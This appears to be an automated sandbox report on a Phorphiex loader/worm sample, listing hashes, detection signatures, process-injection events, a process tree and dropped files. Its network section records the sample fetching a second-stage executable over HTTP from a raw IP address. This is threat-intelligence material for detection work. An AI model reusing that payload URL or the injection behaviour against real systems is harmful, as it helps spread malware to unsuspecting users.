phorphiex | dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
18/12/2024, 23:37 UTC

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General

Target

dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe
Size

37KB
MD5

635a58029ce832a74876c3ffec0c3acf
SHA1

bb00046e17cb65703a4435d6e30df21d7a185159
SHA256

dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764
SHA512

50186fa0f438b2d74716df89374b6f2106b7ec6d600ed62dd45bd7c6fd8875150e794d329dcebb755dc30bd21c386dd792d8fa6d3868408e26eb66142c43c7b0
SSDEEP

768:lRrgLWAeXOMhbcqnLPsJLWRvdgLoeSxLNLDWVTv4bBOaec8LPXa:3GeXOFqn7Qevd3e+taz4fec8zK

Score

10^/10

phorphiex discovery loader trojan worm

Malware Config

Signatures

Phorphiex family
phorphiex

Phorphiex payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0004000000004ed7-7.dat	family_phorphiex
behavioral1/files/0x000c00000001226a-13.dat	family_phorphiex

Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
worm trojan loader phorphiex
Downloads MZ/PE file
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe

Suspicious behavior: MapViewOfSection 25 IoCs

pid	Process
300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe
300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe
300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe
300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe
300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe
300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe
300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe
300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe
300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe
300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe
300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe
300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe
300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe
300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe
300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe
300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe
300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe
300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe
300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe
300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe
300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe
300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe
300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe
300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe
300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 300 wrote to memory of 384	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	3
PID 300 wrote to memory of 384	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	3
PID 300 wrote to memory of 384	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	3
PID 300 wrote to memory of 384	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	3
PID 300 wrote to memory of 384	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	3
PID 300 wrote to memory of 384	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	3
PID 300 wrote to memory of 384	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	3
PID 300 wrote to memory of 392	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	4
PID 300 wrote to memory of 392	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	4
PID 300 wrote to memory of 392	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	4
PID 300 wrote to memory of 392	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	4
PID 300 wrote to memory of 392	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	4
PID 300 wrote to memory of 392	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	4
PID 300 wrote to memory of 392	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	4
PID 300 wrote to memory of 432	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	5
PID 300 wrote to memory of 432	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	5
PID 300 wrote to memory of 432	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	5
PID 300 wrote to memory of 432	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	5
PID 300 wrote to memory of 432	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	5
PID 300 wrote to memory of 432	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	5
PID 300 wrote to memory of 432	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	5
PID 300 wrote to memory of 476	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	6
PID 300 wrote to memory of 476	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	6
PID 300 wrote to memory of 476	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	6
PID 300 wrote to memory of 476	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	6
PID 300 wrote to memory of 476	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	6
PID 300 wrote to memory of 476	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	6
PID 300 wrote to memory of 476	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	6
PID 300 wrote to memory of 492	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	7
PID 300 wrote to memory of 492	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	7
PID 300 wrote to memory of 492	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	7
PID 300 wrote to memory of 492	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	7
PID 300 wrote to memory of 492	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	7
PID 300 wrote to memory of 492	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	7
PID 300 wrote to memory of 492	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	7
PID 300 wrote to memory of 500	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	8
PID 300 wrote to memory of 500	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	8
PID 300 wrote to memory of 500	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	8
PID 300 wrote to memory of 500	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	8
PID 300 wrote to memory of 500	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	8
PID 300 wrote to memory of 500	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	8
PID 300 wrote to memory of 500	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	8
PID 300 wrote to memory of 608	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	9
PID 300 wrote to memory of 608	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	9
PID 300 wrote to memory of 608	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	9
PID 300 wrote to memory of 608	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	9
PID 300 wrote to memory of 608	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	9
PID 300 wrote to memory of 608	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	9
PID 300 wrote to memory of 608	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	9
PID 300 wrote to memory of 692	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	10
PID 300 wrote to memory of 692	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	10
PID 300 wrote to memory of 692	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	10
PID 300 wrote to memory of 692	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	10
PID 300 wrote to memory of 692	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	10
PID 300 wrote to memory of 692	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	10
PID 300 wrote to memory of 692	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	10
PID 300 wrote to memory of 760	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	11
PID 300 wrote to memory of 760	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	11
PID 300 wrote to memory of 760	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	11
PID 300 wrote to memory of 760	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	11
PID 300 wrote to memory of 760	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	11
PID 300 wrote to memory of 760	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	11
PID 300 wrote to memory of 760	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	11
PID 300 wrote to memory of 824	300	dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe	12

C:\Windows\system32\wininit.exe
wininit.exe
1⤵
PID:384
- C:\Windows\system32\services.exe
  C:\Windows\system32\services.exe
  2⤵
  PID:476
- - C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k DcomLaunch
    3⤵
    PID:608
  - - C:\Windows\system32\DllHost.exe
      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
      4⤵
      PID:2016
  - - C:\Windows\system32\wbem\wmiprvse.exe
      C:\Windows\system32\wbem\wmiprvse.exe
      4⤵
      PID:1576
- - C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k RPCSS
    3⤵
    PID:692
- - C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
    3⤵
    PID:760
- - C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
    3⤵
    PID:824
  - - C:\Windows\system32\Dwm.exe
      "C:\Windows\system32\Dwm.exe"
      4⤵
      PID:1176
- - C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k netsvcs
    3⤵
    PID:868
  - - \\?\C:\Windows\system32\wbem\WMIADAP.EXE
      wmiadap.exe /F /T /R
      4⤵
      PID:2412
- - C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalService
    3⤵
    PID:972
- - C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k NetworkService
    3⤵
    PID:284
- - C:\Windows\System32\spoolsv.exe
    C:\Windows\System32\spoolsv.exe
    3⤵
    PID:1028
- - C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
    3⤵
    PID:1084
- - C:\Windows\system32\taskhost.exe
    "taskhost.exe"
    3⤵
    PID:1108
- - C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
    "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
    3⤵
    PID:1324
- - C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
    3⤵
    PID:2424
- - C:\Windows\system32\sppsvc.exe
    C:\Windows\system32\sppsvc.exe
    3⤵
    PID:1164
- C:\Windows\system32\lsass.exe
  C:\Windows\system32\lsass.exe
  2⤵
  PID:492
- C:\Windows\system32\lsm.exe
  C:\Windows\system32\lsm.exe
  2⤵
  PID:500

C:\Windows\system32\csrss.exe
%SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
1⤵
PID:392

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:432

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1216
- C:\Users\Admin\AppData\Local\Temp\dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe
  "C:\Users\Admin\AppData\Local\Temp\dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:300

Network

GET

http://185.215.113.66/tdrpl.exe

dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe

Remote address:

185.215.113.66:80

Request

GET /tdrpl.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: 185.215.113.66
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 18 Dec 2024 23:37:17 GMT
Content-Type: application/octet-stream
Content-Length: 80896
Last-Modified: Tue, 12 Nov 2024 22:30:59 GMT
Connection: keep-alive
ETag: "6733d723-13c00"
Accept-Ranges: bytes

185.215.113.66:80

http://185.215.113.66/tdrpl.exe

http

dff97ccdcd4842d8690b0530e0b98643a0c6b84a3b2aa30222784b807642a764.exe

1.9kB
83.7kB
35
62

HTTP Request

GET http://185.215.113.66/tdrpl.exe

HTTP Response

200

No results found

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\WCATT3E5\tdrpl[1].exe

Filesize
79KB

MD5
0c883b1d66afce606d9830f48d69d74b

SHA1
fe431fe73a4749722496f19b3b3ca0b629b50131

SHA256
d921fc993574c8be76553bcf4296d2851e48ee39b958205e69bdfd7cf661d2b1

SHA512
c047452a23efad4262479fbfeb5e23f9497d7cefd4cbb58e869801206669c2a0759698c70d18050316798d5d939b989537fdce3842aa742449f5e08ed7fa60a5

Download Submit
C:\Users\Admin\AppData\Local\Temp\9536.scr

Filesize
109KB

MD5
647dc26d105059018bddb464fbc9c17e

SHA1
6de05df3bb3b51650e8c278acc968a4d95bb6e18

SHA256
8d30af2c94c141181ab9f828e8d00dee7868b4cbe61f9841e1dd3f884833b123

SHA512
8d95bfc5adb4fb331d4fbc4d809723a02ac426fb5ae3c68986e3a22cb5d03d773c97576ad80d782e1ffe98819cfd27b63d05fadfa30c7e416f8cade4ed52bcc8

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memory/300-0-0x0000000000400000-0x000000000040D000-memory.dmp

Filesize
52KB

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memory/300-2-0x0000000077930000-0x0000000077931000-memory.dmp

Filesize
4KB

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memory/300-1-0x000000007792F000-0x0000000077930000-memory.dmp

Filesize
4KB

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memory/300-14-0x0000000000400000-0x000000000040D000-memory.dmp

Filesize
52KB

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